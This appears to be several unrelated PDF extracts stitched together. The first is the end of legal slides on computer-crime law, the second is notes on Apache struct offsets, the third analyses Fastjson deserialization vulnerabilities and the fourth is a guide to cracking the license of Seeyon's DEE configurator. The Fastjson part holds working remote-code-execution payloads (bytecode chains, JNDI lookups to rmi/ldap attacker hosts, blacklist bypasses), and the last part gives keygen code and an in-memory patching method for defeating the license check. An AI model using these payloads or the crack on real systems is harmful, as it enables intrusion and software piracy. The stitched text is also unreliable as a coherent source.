joyous moment! 45 Search Warrant Sought QuickTimeª and a decompressor are needed to see this picture. QuickTimeª and a decompressor are needed to see this picture. 46 Search Warrant Sought QuickTimeª and a decompressor are needed to see this picture. 47 Massachusetts Computer Crime Statute Chapter 266: Section 33A obtaining computer services by fraud or misrepresentation 48 Massachusetts Computer Crime Statute Chapter 266: Section 120F unauthorized access to computer system Whoever, without authorization, knowingly accesses a computer system by any means, or after gaining access to a computer system by any means knows that such access is not authorized and fails to terminate such access, shall be punished by imprisonment in the house of correction for not more than thirty days or by a fine of not more than one thousand dollars, or both. The requirement of a password or other authentication to gain access shall constitute notice that access is limited to authorized users. 49 Police Seized: computers storage drives cell phone iPod Touch flash drives digital camera Ubuntu Linux CD 50 Commonwealth Argument 51 52 53 Single Justice of Supreme Court Opinion 54 The CFAA is dangerous Lessons 55 The CFAA is dangerous Instructional speech is less likely to be protected by courts Lessons 56 The CFAA is dangerous Instructional speech is less likely to be protected by courts “First contact” situations are the hardest Lessons 57 The CFAA is dangerous Instructional speech is less likely to be protected by courts “First contact” situations are the hardest Lessons 58 Atmospherics matter Litigation can be grueling Responsible disclosure as a norm vs. a rule Lessons (con’t) 59 What researchers can do: Don’t agree to terms of service Get permission for testing Test only your own systems Seriously consider atmospherics 60 What researchers can do (con’t): Work with and educate vendors Be prepared for litigation Write to Congress Consult an attorney 61 Questions?
pdf
web⸺ 0x00 ida88 32 char 1 char*: 4322^32, 32bit464 short int : 2 int 4 unsigned int : 4 float: 4 double: 8 long: 4 long long: 8 unsigned long: 4 64 char 1 char*(): 8 short int : 2 int 4 unsigned int : 4 float: 4 double: 8 long: 8 long long: 8 unsigned long: 8 apache apr_off_t8 64request_rec 0x01 a1request_rec29 0e8h10232232829ida8 8 apr_int64intint4apr_int64long8232 0x02 request_rec ‘*’ifdefine‘-’ 0 0 The pool associated with the request apr_pool_t *pool; 1 8 The connection to the client conn_rec *connection; 2 16 The virtual host for this request server_rec *server; 3 24 Pointer to the redirected request if this is an external redirect request_rec *next; 4 32 Pointer to the previous request if this is an internal redirect request_rec *prev; 5 40 Pointer to the main request if this is a sub-request * (see http_request.h) request_rec *main; 6 48 First line of request char *the_request; 7 56 HTTP/0.9, "simple" request (e.g. GET /foo\n w/no headers) int assbackwards; 8 60 A proxy request (calculated during post_read_request/translate_name) * possible values PROXYREQ_NONE, PROXYREQ_PROXY, PROXYREQ_REVERSE,*PROXYREQ_RESPONSE int proxyreq; 9 64 HEAD request, as opposed to GET int header_only; 10 68 Protocol version number of protocol; 1.1 = 1001 int proto_num; 11 72 Protocol string, as given to us, or HTTP/0.9 const char *protocol; 12 80 Host, as set by full URI or Host: header.* For literal IPv6 addresses, this does NOT include the surrounding [ ] const char *hostname; 13 88 Time when the request started apr_time_t request_time; 14 96 Status line, if set by script const char *status_line; 15 104 /** Status line */ int status; 16 108 /** M_GET, M_POST, etc. */ int method_number; 17 112 /** Request method (eg. GET, HEAD, POST, etc.) */ const char *method; 18 120 'allowed' is a bitvector of the allowed methods. ap_method_mask_t allowed; 19 128 /** Array of extension methods */ apr_array_header_t *allowed_xmethods; 20 136 /** List of allowed methods */ ap_method_list_t *allowed_methods; 21 144 /** byte count in stream is for body */ apr_off_t sent_bodyct; 22 152 /** body byte count, for easy access */ apr_off_t bytes_sent; 23 160 /** Last modified time of the requested resource */ apr_time_t mtime; 24 168 /** The Range: header */ const char *range; 25 176 /** The "real" content length */ apr_off_t clength; 26 184 /** sending chunked transfer-coding */ int chunked; 27 188 /** Method for reading the request body * (eg. REQUEST_CHUNKED_ERROR, REQUEST_NO_BODY, * REQUEST_CHUNKED_DECHUNK, etc...) */ int read_body; 28 192 /** reading chunked transfer-coding */ int read_chunked; 29 196 /** is client waiting for a 100 response? */ unsigned expecting_100; 30 220 /** The optional kept body of the request. */ apr_bucket_brigade *kept_body; 31 208 /** For ap_body_to_table(): parsed body XXX: ap_body_to_table has been removed. Remove body_table too or * XXX: keep it to reintroduce ap_body_to_table without major bump? apr_table_t *body_table; 32 216 /** Remaining bytes left to read from the request body */ apr_off_t remaining; 33 224 /** Number of bytes that have been read from the request body */ apr_off_t read_length; 34 232 /** MIME header environment from the request */ apr_table_t *headers_in; 35 240 /** MIME header environment for the response */ apr_table_t *headers_out; 36 248 /** MIME header environment for the response, printed even on errors and* persist across internal redirects */ apr_table_t *err_headers_out; 37 256 /** Array of environment variables to be used for sub processes */ apr_table_t *subprocess_env; 38 264 /** Notes from one module to another */ apr_table_t *notes; 39 272 The content-type for the current request const char *content_type; Break these out --- we dispatch on 'em */ 40 280 /** The handler string that we use to call a handler function */ const char *handler; What we *really * dispatch on 41 288 /** How to encode the data */ const char *content_encoding; 42 296 /** Array of strings representing the content languages */ apr_array_header_t *content_languages; 43 304 /** variant list validator (if negotiated) */ char *vlist_validator; 44 312 /** If an authentication check was made, this gets set to the user name. */ char *user; 45 320 /** If an authentication check was made, this gets set to the auth type. */ char *ap_auth_type; 46 328 /** The URI without any parsing performed */ char *unparsed_uri; 47 336 /** The path portion of the URI, or "/" if no path provided */ char *uri; 48 344 /** The filename on disk corresponding to this response */ char *filename; 49 352 The true filename stored in the filesystem, as in the true alpha case * and alias correction, e.g. "Image.jpeg" not "IMAGE$1.JPE" on Windows. * The core map_to_storage canonicalizes r- >filename when they mismatch char *canonical_filename; 50 360 /** The PATH_INFO extracted from this request */ char *path_info; 51 368 /** The QUERY_ARGS extracted from this request */ char *args; 52 376 * Flag for the handler to accept or reject path_info on the current request. All modules should respect the AP_REQ_ACCEPT_PATH_INFO and AP_REQ_REJECT_PATH_INFO values, while AP_REQ_DEFAULT_PATH_INFO indicates they may follow existing conventions. This is set to the user's preference upon HOOK_VERY_FIRST of the fixups. int used_path_info; 53 380 /** A flag to determine if the eos bucket has been sent yet */ int eos_sent; 54 384 /** Options set in config files, etc. */ struct ap_conf_vector_t *per_dir_config; 55 392 /** Notes on * this * request */ struct ap_conf_vector_t *request_config; 56 400 /** Optional request log level configuration. Will usually point to a server or per_dir config, i.e. must be copied before modifying */ const struct ap_logconf *log; 57 408 /** Id to identify request in access and error log. Set when the first error log entry for this request is generated. const char *log_id; 58 416 /** A linked list of the .htaccess configuration directives accessed by this request.N.B. always add to the head of the list, never to the end. that way, a sub request's list can (temporarily) point to a parent's list const struct htaccess_result *htaccess; 59 424 /** A list of output filters to be used for this request */ struct ap_filter_t *output_filters; 60 432 /** A list of input filters to be used for this request */ struct ap_filter_t *input_filters; 61 440 /** A list of protocol level output filters to be used for this request */ struct ap_filter_t *proto_output_filters; 62 448 /** A list of protocol level input filters to be used for this request */ struct ap_filter_t *proto_input_filters; 63 456 /** This response can not be cached */ int no_cache; 64 460 /** There is no local copy of this response */ int no_local_copy; * 65 464 /** Mutex protect callbacks registered with ap_mpm_register_timed_callback from being run before the original handler finishes running apr_thread_mutex_t *invoke_mtx; 66- 1 472 /** A struct containing the components of URI */ apr_uri_t parsed_uri; 67- 1 480 /** finfo.protection (st_mode) set to zero if no such file */ apr_finfo_t finfo; 68- 1 488 /** remote address information from conn_rec, can be overridden if necessary by a module. This is the address that originated the request. apr_sockaddr_t *useragent_addr; 69- 1 496 char *useragent_ip; 70- 1 504 /** MIME trailer environment from the request */ apr_table_t *trailers_in; 71- 1 512 /** MIME trailer environment from the response */ apr_table_t *trailers_out; 72- /** Originator's DNS name, if known. NULL if DNS hasn't been checked, "" if it has and no char 1 520 address was found. N.B. Only access this though ap_get_useragent_host() */ *useragent_host; 73- 1 528 /** have we done double-reverse DNS? -1 yes/failure, 0 not yet,1 yes/success TODO: 2 bit signed bitfield when this structure is compacted int double_reverse; 74- 1 532 /** Mark the request as potentially tainted. This might become a bitfield if we identify different taints to be flagged. Always use ap_request_tainted() to check taint. int taint; 75- 1 536 /** Whether the response has been flushed through the network, relevant at ap_run_log_transaction() time only. TODO: compact elsewhere unsigned int flushed:1; 76- 1 540 /** Request flags associated with this request. Use AP_REQUEST_GET_FLAGS() and AP_REQUEST_SET_FLAGS() to access the elements of this field. ap_request_bnotes_t bnotes; 0x03 apache8 (a1+xxx)
pdf
S-fastjson fastjson的使用 实体类 package fastjson.example.use; import java.util.Map; public class User {    private String name;    private int age;    private Map hashMap;    @Override    public String toString() {        return "User{" +                "name='" + name + '\'' +                ", age=" + age +                ", hashMap=" + hashMap +                '}';   }    public User(String name, int age, Map hashMap) {        this.name = name;        this.age = age;        this.hashMap = hashMap;   }    public User() {   }    public String getName() {        return name;   }    public void setName(String name) {        this.name = name;   }    public int getAge() {        return age;   }    public void setAge(int age) {        this.age = age;   }    public Map getHashMap() {        return hashMap;   }    public void setHashMap(Map hashMap) { 序列化 在调用 toJSONString 方法的时候,参数里面多了一个 SerializerFeature.WriteClassName 方 法。传入 SerializerFeature.WriteClassName 可以使得 Fastjson 支持自省,开启自省后序列 化成 JSON 的数据就会多一个 @type ,这个是代表对象类型的 JSON 文本。 FastJson 的漏洞就是 他的这一个功能去产生的,在对该 JSON 数据进行反序列化的时候,会去调用指定类中对于的 get/set/is 方法, 后面会详细分析。 反序列化        this.hashMap = hashMap;   } } package fastjson.example.use; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; import java.util.HashMap; public class serialize {    public static void main(String[] args) {        String name="zhangsan";        int age=20;        HashMap hashMap = new HashMap();        User user = new User(name, age, hashMap);        String s = JSON.toJSONString(user);        System.out.println(s);        System.out.println("==================================");        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);        System.out.println(s1);   } } /* {"age":20,"hashMap":{},"name":"zhangsan"} ================================== {"@type":"fastjson.example.use.User","age":20,"hashMap": {"@type":"java.util.HashMap"},"name":"zhangsan"} */ package fastjson.example.use; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; import java.util.HashMap; public class unserialize {    public static void main(String[] args) {        String name="lisi";        int age=21;        HashMap hashMap = new HashMap();        User user = new User(); 这三段代码中,可以发现用了 JSON.parseObject 和 JSON.parse 这两个方 法, JSON.parseObject 方法中没指定对象,返回的则是 JSONObject 的对象。 JSON.parseObject 和 JSON.parse 这两个方法差不多, JSON.parseObject 的底层调用的还是 JSON.parse 方法,只是在 JSON.parse 的基础上做了一个封装。在序列化时, FastJson 会调用 成员对应的 get 方法,被 private 修饰且没有 get 方法的成员不会被序列化,而反序列化的时候 在,会调用了指定类的全部的 setter , publibc 修饰的成员全部赋值。其中有意思的是这个 @type ,在反序列化的过程中会自动创建对象,并且调用 setter 方法进行赋值。 反序列化漏洞 说明        user.setAge(age);        user.setName(name);        user.setHashMap(hashMap);        System.out.println("==============================================");        String s = JSON.toJSONString(user);        User user1 = JSON.parseObject(s, User.class);        System.out.println(user1);        System.out.println("==============================================");        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);        JSONObject jsonObject = JSON.parseObject(s1);        System.out.println(jsonObject);        System.out.println(jsonObject.getClass().getName());        System.out.println("==============================================");        String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);        Object user2 = JSON.parseObject(s2, Object.class);        System.out.println(user2);        System.out.println(user2.getClass().getName());        System.out.println("==============================================");        String s3=" {\"@type\":\"fastjson.example.use.User\",\"age\":25,\"hashMap\": {\"@type\":\"java.util.HashMap\"},\"name\":\"zhangsan\"}";        Object o = JSON.parseObject(s3, Object.class);        if(o instanceof User){            User user3=(User) o;            int age1 = user3.getAge();            System.out.println(age1);       }   } } /* ============================================== User{name='lisi', age=21, hashMap={}} ============================================== {"name":"lisi","hashMap":{},"age":21} com.alibaba.fastjson.JSONObject ============================================== User{name='lisi', age=21, hashMap={}} fastjson.example.use.User ============================================== 25 */ 漏洞是利用 fastjson autotype 在处理 json 对象的时候,未对 @type 字段进行完全的安全性验 证,攻击者可以传入危险类,并调用危险类连接远程 rmi 主机,通过其中的恶意类执行代码。攻 击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用 此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。 TemplatesImpl 构造链 漏洞调试 这里是用最经典的 TemplatesImpl 来弹出计算机,这里调试只写出几个有疑问的地方,具体的反 序列化过程其实并不是很复杂。参考的部分文章:Fastjson TemplatesImpl 利用链 Fastjson反 序列化之TemplatesImpl调用链,在这个构造链当中因为几个重要的参数都是 private ,所以需 要开启 Feature.SupportNonPublicField ,否则反序列化会失败。 package fastjson.example.bug; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class payload_ {    public static void main(String[] args) {        ParserConfig parserConfig = new ParserConfig();        String text = " {\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +                "\"_bytecodes\": [\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ 29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZ XN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb i9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUT UF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1Nlc mlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL 2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2lud GVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUve G1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZ y9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pb nRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvb S9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlc jsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9Td HJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAM gAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1b nRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hc GFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZ XB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpb WU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAA AAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASA A0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIAC wAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAA QARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABA BMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAA gALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAA AACACQ=\"]," +                "'_name':'a.b'," +                "'_tfactory':{ }," + 关于 set 方法和 get 方法的搜索与建立集合 此处涉及到一个疑问,就是调试的过程中会建立一个 sortedFieldDeserializers ,之后会出现 将属性和这个数组进行比较的逻辑,之后调试发现这个是用来存储特殊的 set 和 get 方法的。 经过这个 JavaBeanInfo.Build 方法,会将特殊的 get 和 set 方法挑出来,并且建立数组,之后 会用到。 获取 beanInfo.fields 数组的具体方法 通过 getProperties() 执行 newTransform 方法。                "'_outputProperties':{ }}";        Object obj = JSON.parseObject(text, Object.class, parserConfig, Feature.SupportNonPublicField);        //TemplatesImpl        //com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl   } } 这个也是重要的触发构造链的地方。 类型判断是数组对象 解析数组对象 dnslog 构造链 说明 这个构造链较为简单,可以通过这个方法判断漏洞是否存在。通过 dnslog 平台就可以知道是否存 在漏洞了。 触发请求 package fastjson.example.use; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import java.io.IOException; import java.net.MalformedURLException; import java.net.URL; import java.net.URLConnection; public class unserialize2 {    public static void main(String[] args) {        ParserConfig parserConfig = new ParserConfig();        //String s3=" {\"@type\":\"fastjson.example.use.User\",\"age\":25,\"name\":\"zhangsan\"}";        String s4=" {\"@type\":\"java.net.Inet4Address\",\"val\":\"1zfg9k.dnslog.cn\"}";        Object o = JSON.parseObject(s4, Object.class,parserConfig, Feature.SupportNonPublicField);        if(o instanceof User){            User user3=(User) o;            int age1 = user3.getAge();            System.out.println(age1);       }        //java.net.Inet4Address   } } com.sun.rowset.JdbcRowSetImpl 链 在上述的链中因为 TemplatesImpl 链需要开启私有属性的反序列化,利用条件比较困难,所以需 要寻找新的构造链,此处利用到了 com.sun.rowset.JdbcRowSetImpl ,这个构造链本质就是利 用 com.sun.rowset.JdbcRowSetImpl 进行 JNDI 注入 poc 代码 根据 fastjson 反序列化的条件,关注 dataSourceName 和 autoCommit 两个参数,首先是 dataSourceName 参数,通过反序列化的时候设置这个 dataSourceName 参数 再是 autoCommit 参数。这里会调用 this.conn.setAutoCommit 方法去进行一个请求。另外根据 JdbcRowSetImpl 的初始化, this.conn 为空,所以会调用 this.connect 方法 package fastjson.example.bug; import com.alibaba.fastjson.JSON; public class payload2_ {    public static void main(String[] args) {        //java 8u121的trustURLCodebase默认关闭   System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");        String payload = " {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhos t:1093/evil\"," +                " \"autoCommit\":true}";        JSON.parse(payload);   } } this.connect 方法 在第323行判断是否存在 dataSourceName ,然后利用这个 dataSourceName 作为请求源去进行 JNDI 访问,在此处产生了 JNDI 注入。 对修复方案的绕过 fastjson 最基础的反序列化原理便是上面的分析。在版本 1.2.25 之后,将 autoTypeSupport 设置为 false ,并且添加了 checkAutoType() 函数进行黑名单校验,因此之后的漏洞均是针对黑 名单的绕过。 fastjson<=1.2.47 漏洞详情 对版本小于 1.2.48 的版本通杀, autoType 为关闭状态也可用。 loadClass 中默认 cache 为 true ,利用分2步,首先使用 java.lang.Class 把获取到的类缓存到 mapping 中,然后直接从 缓存中获取到了 com.sun.rowset.jdbcRowSetlmpl 这个类,绕过了黑名单机制。 fastjson<=1.2.41 漏洞详情 { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://x.x.x.x:9999/exp", "autoCommit": true } } fastjson 有个判断条件判断类名是否以"L"开头、以";"结尾,是的话就提取出其中的类名在加载 进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。 fastjson<=1.2.42 漏洞详情 fastjson 在 1.2.42 版本新增了校验机制。如果输入类名的开头和结尾是L和;就将头尾去掉再进 行黑名单校验。绕过方法:在类名外部嵌套两层L和;。 fastjson<=1.2.45 漏洞详情 前提条件:目标服务器存在mybatis的jar包,且版本需为 3.x.x 系列 <3.5.0 的版本。使用黑名单 绕过, org.apache.ibatis.datasource 在 1.2.46 版本被加入了黑名单。 autoTypeSupport 属 性为 true 才能使用。( fastjson>=1.2.25 默认为 false ) 2.8 fastjson<=1.2.66 漏洞详情 基于ClassLoader的POC {    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",    "dataSourceName":"rmi://x.x.x.x:9999/rce_1_2_24_exploit",    "autoCommit":true } {    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",    "dataSourceName":"rmi://x.x.x.x:9999/exp",    "autoCommit":true } {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties": {"data_source":"ldap://localhost:1389/Exploit"}} {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x :9999/exploit"}"; {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.16 8.80.1:1389/Calc"} {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.16 8.80.1:1389/Calc"} {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap: //192.168.80.1:1389/Calc"} {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","proper ties": {"@type":"java.util.Properties","UserTransacti on":"ldap://192.168.80.1:1389/Calc"}} 首先看一下 com.sun.org.apache.bcel.internal.util.ClassLoader 这个类加载器的加载机 制, java 、 javax 和 sun 这三个包下的类会通过系统类加载器进行加载,然后当遇到一些特殊的 类名, class_name以$$BCEL$$ 开头的类,会调用 createClass 方法去解析 class_name ,在 createClass 方法中会将 $$BCEL$$ 之后的字符解码成字节数组,并将这个BCEL编码后的类加载 到虚拟机中。换言之,我们可以构造 className 为一个特殊的字符串时,通过这个类加载器来实 现对自定义类的加载。参考文章:BCEL ClassLoader去哪了 对于整个 BCEL 表达式自定义了编码 和解码的方式,所以不需要自己写编码解码方法。 {   {        "aaa": {                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",                "driverClassLoader": {                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"               },                "driverClassName": "$$BCEL$$$l$8b$I$A$..."       }   }: "bbb" } import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import java.io.IOException; public class bcelImpl {    public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException, InstantiationException, IllegalAccessException, ClassNotFoundException {        ClassPool aDefault = ClassPool.getDefault();        CtClass ctClass = aDefault.get(eval.class.getName());        String encode = Utility.encode(ctClass.toBytecode(),true);        System.out.println(encode);        ClassLoader classLoader = new ClassLoader();        classLoader.loadClass("$$BCEL$$"+encode).newInstance();   } }
pdf
DEE可视化工具 软件破解 认证过程 系统使用 struts2 框架开发,通过在 struts2.xml 配置文件当中找到过滤器获取到认证程序。 com.seeyon.dee.configurator.interceptor.SerialInterceptor // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.seeyon.dee.configurator.interceptor; import com.opensymphony.xwork2.ActionContext; import com.opensymphony.xwork2.ActionInvocation; import com.opensymphony.xwork2.interceptor.MethodFilterInterceptor; import com.seeyon.v3x.dee.common.base.util.AuthorizeUtil; import com.seeyon.v3x.dee.common.base.util.Encipher; import com.seeyon.v3x.dee.util.DataChangeUtil; import java.io.File; import java.io.FileInputStream; import java.io.InputStream; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; import java.util.Properties; import javax.servlet.http.HttpServletRequest; public class SerialInterceptor extends MethodFilterInterceptor {    private static final long serialVersionUID = 4085963428017959650L;    private static final String filePath = DataChangeUtil.getRealPath("/") + "config" + "/serial.properties";    public SerialInterceptor() {   }    protected String doIntercept(ActionInvocation invocation) throws Exception {        ActionContext actionContext = invocation.getInvocationContext();        HttpServletRequest request = (HttpServletRequest)actionContext.get("com.opensymphony.xwork2.dispatcher.HttpSe rvletRequest");        String errorMsg = "";        InputStream in = new FileInputStream(filePath);        Properties property = new Properties();        property.load(in);        in.close();        String keycode = property.getProperty("KeyCode");        String SerialNumber = property.getProperty("SerialNumber");        String encode_authorizeDate = property.getProperty("AuthorizeDate");        String authorizeDate = Encipher.Decode(encode_authorizeDate);        String encode_deadline = property.getProperty("Deadline");        String deadline = Encipher.Decode(encode_deadline);        String logfilesPath = DataChangeUtil.getRealPath("/") + "../../../../logs";        File logsPath = new File(logfilesPath);        Date lastDate = null;        if (logsPath.exists() && logsPath.isDirectory()) {            File[] logs = logsPath.listFiles();            File[] var20 = logs;            int var19 = logs.length;            for(int var18 = 0; var18 < var19; ++var18) {                File file = var20[var18];                if (lastDate == null) {                    lastDate = new Date(file.lastModified());               } else {                    lastDate = lastDate.getTime() > file.lastModified() ? lastDate : new Date(file.lastModified());               }           }       }        if (lastDate != null && (new Date()).before(lastDate)) {            errorMsg = errorMsg + "请勿修改系统时间!";       } else { 算法逆向 在系统安装后会在 webapps\ROOT\WEB-INF\classes\config 目录生成一个 serial.properties 认证配置文件,也可以通过注册授权界面的获取识别码更新该配置文件。            if (keycode == null || !AuthorizeUtil.getK(encode_authorizeDate, encode_deadline).equals(keycode) || !AuthorizeUtil.getS(keycode, "250").equals(SerialNumber)) {                errorMsg = errorMsg + "识别码与授权码不匹配!";           }            if (authorizeDate != null && !"".equals(authorizeDate.trim()) && deadline != null && !"".equals(deadline.trim())) {                SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd");                try {                    Date begin = df.parse(authorizeDate);                    Calendar calBegin = Calendar.getInstance();                    calBegin.setTime(begin);                    Calendar calNow = Calendar.getInstance();                    if (calNow.before(calBegin)) {                        errorMsg = errorMsg + "未进入授权期限!";                   }                    calBegin.add(2, Integer.parseInt(deadline));                    if (calNow.after(calBegin)) {                        errorMsg = errorMsg + "授权已过期,请重新注册!";                        request.setAttribute("Expired", true);                   }               } catch (ParseException var21) {                    errorMsg = errorMsg + "授权日期错误!";               }           } else {                errorMsg = errorMsg + "授权日期和期限为空!";                request.setAttribute("Expired", true);           }       }        if (errorMsg.trim().equals("")) {            return invocation.invoke();       } else {            request.setAttribute("errorMsg", errorMsg);            request.setAttribute("authorizeDate", encode_authorizeDate != null && !"".equals(encode_authorizeDate.trim()) ? Encipher.Decode(encode_authorizeDate) : (new SimpleDateFormat("yyyy-MM- dd")).format(new Date(System.currentTimeMillis())));            request.setAttribute("deadline", deadline);            request.setAttribute("keyCode", keycode);            request.setAttribute("serialNumber", SerialNumber);            return "serial";       }   } } 之后根据认证代码,其中的 dedeline 指的应该是授权天数,然后关键代码如下 只需要我们的 SerialNumber 和 KeyCode 正确,就可以完成认证,代码逻辑还是比较简单的,所 有直接上代码。用于加解密的代码可以直接用他的,都不需要逆向。 if (keycode == null || !AuthorizeUtil.getK(encode_authorizeDate, encode_deadline).equals(keycode) || !AuthorizeUtil.getS(keycode, "250").equals(SerialNumber)) {                errorMsg = errorMsg + "识别码与授权码不匹配!";           } package com.seeyon.dee.configurator.interceptor; import com.seeyon.v3x.dee.common.base.util.AuthorizeUtil; import com.seeyon.v3x.dee.common.base.util.Encipher; import java.util.Scanner; public class Main {    public static void main(String[] args) {        Scanner scanner = new Scanner(System.in);        String str2=null;        System.out.print("请输入AuthorizeDate参数:");        if (scanner.hasNextLine()) {            str2 = scanner.nextLine();            System.out.println("输入的数据为:" + str2);       }        if(str2==null){            str2="9s(r-[?g>;9.?f(n+u6h";       }        scanner.close();        /*生成授权天数*/        String Deadline = Encipher.Encode("1000"); 注意点:在生成 keycode 的 AuthorizeUtil.getK(str2, Deadline); 方法中有一个 getH() 方法 获取主板信息,因此需要将破解包放到程序安装的服务器进行运行。        /*生成keycode*/        String keycode = AuthorizeUtil.getK(str2, Deadline);        /*生成注册序列号*/        String serialNumber = AuthorizeUtil.getS(keycode, "250");        System.out.println("================================================");        System.out.println("将数据替换至DEE_Configurator\\webapps\\ROOT\\WEB- INF\\classes\\config\\serial.properties文件");        System.out.println("AuthorizeDate:"+str2);        System.out.println("Deadline:"+Deadline);        System.out.println("keycode:"+keycode);        System.out.println("SerialNumber:"+serialNumber);   } } java agent 破解 说明 这个点比较有意思,通过 java agent 动态修改内存中的过滤器源代码,然后实现破解。主要步 骤,首先通过 VirtualMachine 获取系统内的全部虚拟机,然后找到 org.apache.catalina.startup.Bootstrap 虚拟机,之后将 java agent 注入到该虚拟机,然 后获取虚拟机加载的全部 Class 类,找到用于授权验证的 com.seeyon.dee.configurator.interceptor.SerialInterceptor 类,之后通过 javaassit 修改类字节码,然后重新加载类。这个和之前冰蝎源码中注入内存马的方式相同。 注意 1. 关于 VirtualMachine 的使用,这个类存在于 tools.jar 包中, tools.jar 是 jdk 中自带的,我 们需要将 tools.jar 复制到 jre 的路径下面,另外还有就是需要在 jre\bin 目录下找到一个叫 attach.dll 的文件,复制到 jdk\bin 目录,不然会一直提示类 com/sun/tools/attach/VirtualMachine 缺失。 2. agent 包的编译。 <project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         